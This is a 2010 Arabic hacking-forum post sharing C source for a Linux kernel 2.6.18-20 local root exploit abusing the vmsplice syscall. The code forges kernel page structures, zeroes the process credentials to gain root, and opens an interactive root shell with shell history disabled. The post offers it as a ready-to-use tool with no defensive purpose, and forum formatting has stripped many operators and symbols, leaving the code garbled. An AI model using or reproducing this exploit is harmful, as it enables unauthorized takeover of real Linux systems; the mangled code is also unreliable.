التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام


قديم 01-26-2010, 10:14 PM   رقم المشاركة : 1 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي 2.6.18-20 2009 Local Root Exploit


smilies10

2.6.18-20 2009 Local Root Exploit

كود PHP:
    void *mapping;
    
unsigned long index;
    
struct long nextprev; } lru;
};
 
void    exit_code();
char    exit_stack[1024 1024];
 
void    die(char *msgint err)
{
    
printf(err "[-] %s: %s\n" "[-] %s\n"msgstrerror(err));
    
fflush(stdout);
    
fflush(stderr);
    exit(
1);
}
 
#if defined (__i386__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice    316
#endif
 
#define USER_CS        0x73
#define USER_SS        0x7b
#define USER_FL        0x246
 
static_inline
void    exit_kernel
()
{
    
__asm__ __volatile__ (
    
"movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        
"i" (USER_CS), "r" (exit_code)
    );
}
 
static_inline
void 
*    get_current()
{
    
unsigned long curr;
    
__asm__ __volatile__ (
    
"movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    
"=r" (curr)
    : 
"i" (~8191)
    );
    return (
void *) curr;
}
 
#elif defined (__x86_64__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice    278
#endif
 
#define USER_CS        0x23
#define USER_SS        0x2b
#define USER_FL        0x246
 
static_inline
void    exit_kernel
()
{
    
__asm__ __volatile__ (
    
"swapgs ;"
    "movq %0, 0x20(%%rsp) ;"
    "movq %1, 0x18(%%rsp) ;"
    "movq %2, 0x10(%%rsp) ;"
    "movq %3, 0x08(%%rsp) ;"
    "movq %4, 0x00(%%rsp) ;"
    "iretq"
    
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        
"i" (USER_CS), "r" (exit_code)
    );
}
 
static_inline
void 
*    get_current()
{
    
unsigned long curr;
    
__asm__ __volatile__ (
    
"movq %%gs:(0), %0"
    
"=r" (curr)
    );
    return (
void *) curr;
}
 
#else
#error "unsupported arch"
#endif
 
#if defined (_syscall4)
#define __NR__vmsplice    __NR_vmsplice
_syscall4(
    
long_vmsplice,
    
intfd,
    
struct iovec *, iov,
    
unsigned longnr_segs,
    
unsigned intflags)
 
#else
#define _vmsplice(fd,io,nr,fl)    syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
 
static uint uidgid;
 
void    kernel_code()
{
    
int    i;
    
uint    *get_current();
 
    for (
01024-13i++) {
        if (
p[0] == uid && p[1] == uid &&
            
p[2] == uid && p[3] == uid &&
            
p[4] == gid && p[5] == gid &&
            
p[6] == gid && p[7] == gid) {
            
p[0] = p[1] = p[2] = p[3] = 0;
            
p[4] = p[5] = p[6] = p[7] = 0;
            
= (uint *) ((char *)(8) + sizeof(void *));
            
p[0] = p[1] = p[2] = ~0;
            break;
        }
        
p++;
    }
 
    
exit_kernel();
}
 
void    exit_code()
{
    if (
getuid() != 0)
        die(
"wtf"0);
 
    
printf("[+] root\n");
    
putenv("HISTFILE=/dev/null");
    
execl("/bin/bash""bash""-i"NULL);
    die(
"/bin/bash"errno);
}
 
int    main(int argcchar *argv[])
{
    
int        pi[2];
    
size_t        map_size;
    
char *        map_addr;
    
struct iovec    iov;
    
struct page *    pages[5];
 
    
uid getuid();
    
gid getgid();
    
setresuid(uiduiduid);
    
setresgid(gidgidgid);
 
    
printf("-----------------------------------\n");
    
printf(" Linux 2.6.18-20 2009 Local Root Exploit\n");
    
printf(" By DigitALL\n");
    
printf("-----------------------------------\n");
 
    if (!
uid || !gid)
        die(
"!@#$"0);
 
    
/*****/
    
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
    
pages[1] = pages[0] + 1;
 
    
map_size PAGE_SIZE;
    
map_addr mmap(pages[0], map_sizePROT_READ PROT_WRITE,
                    
MAP_FIXED MAP_PRIVATE MAP_ANONYMOUS, -10);
    if (
map_addr == MAP_FAILED)
        die(
"mmap"errno);
 
    
memset(map_addr0map_size);
    
printf("[+] mmap: 0x%lx .. 0x%lx\n"map_addrmap_addr map_size);
    
printf("[+] page: 0x%lx\n"pages[0]);
    
printf("[+] page: 0x%lx\n"pages[1]);
 
    
pages[0]->flags    << PG_compound;
    
pages[0]->private  = (unsigned longpages[0];
    
pages[0]->count    1;
    
pages[1]->lru.next = (longkernel_code;
 
    
/*****/
    
pages[2] = *(void **) pages[0];
    
pages[3] = pages[2] + 1;
 
    
map_size PAGE_SIZE;
    
map_addr mmap(pages[2], map_sizePROT_READ PROT_WRITE,
                    
MAP_FIXED MAP_PRIVATE MAP_ANONYMOUS, -10);
    if (
map_addr == MAP_FAILED)
        die(
"mmap"errno);
 
    
memset(map_addr0map_size);
    
printf("[+] mmap: 0x%lx .. 0x%lx\n"map_addrmap_addr map_size);
    
printf("[+] page: 0x%lx\n"pages[2]);
    
printf("[+] page: 0x%lx\n"pages[3]);
 
    
pages[2]->flags    << PG_compound;
    
pages[2]->private  = (unsigned longpages[2];
    
pages[2]->count    1;
    
pages[3]->lru.next = (longkernel_code;
 
    
/*****/
    
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
    
map_size PAGE_SIZE;
    
map_addr mmap(pages[4], map_sizePROT_READ PROT_WRITE,
                    
MAP_FIXED MAP_PRIVATE MAP_ANONYMOUS, -10);
    if (
map_addr == MAP_FAILED)
        die(
"mmap"errno);
    
memset(map_addr0map_size);
    
printf("[+] mmap: 0x%lx .. 0x%lx\n"map_addrmap_addr map_size);
    
printf("[+] page: 0x%lx\n"pages[4]);
 
    
/*****/
    
map_size = (PIPE_BUFFERS 2) * PAGE_SIZE;
    
map_addr mmap(NULLmap_sizePROT_READ PROT_WRITE,
                    
MAP_PRIVATE MAP_ANONYMOUS, -10);
    if (
map_addr == MAP_FAILED)
        die(
"mmap"errno);
 
    
memset(map_addr0map_size);
    
printf("[+] mmap: 0x%lx .. 0x%lx\n"map_addrmap_addr map_size);
 
    
/*****/
    
map_size -= PAGE_SIZE;
    if (
munmap(map_addr map_sizePAGE_SIZE) < 0)
        die(
"munmap"errno);
 
    
/*****/
    
if (pipe(pi) < 0) die("pipe"errno);
    
close(pi[0]);
 
    
iov.iov_base map_addr;
    
iov.iov_len  ULONG_MAX;
 
    
signal(SIGPIPEexit_code);
    
_vmsplice(pi[1], &iov10);
    die(
"vmsplice"errno);
    return 
0



2>6>18-20 2009 Local Root Exploit

التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 


التعديل الأخير تم بواسطة Zero ; 06-04-2010 الساعة 03:29 AM.

   

رد مع اقتباس
 

مواقع النشر (المفضلة)

أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
local-root-exploit-priv9 الشبح المرح قـسـم أدوات واندكـسات الإختراق 10 10-23-2011 02:24 PM
Cool 2.6.18-20 2009 Local Root Exploit KaLa$nikoV قـسـم أدوات واندكـسات الإختراق 1 09-16-2010 06:58 AM
Linux Kernel Local Root Exploit Crazy Dz قـسـم أدوات واندكـسات الإختراق 17 11-08-2009 03:52 PM


الساعة الآن 08:17 PM


[ vBspiders.Com Network ]

SEO by vBSEO 3.6.0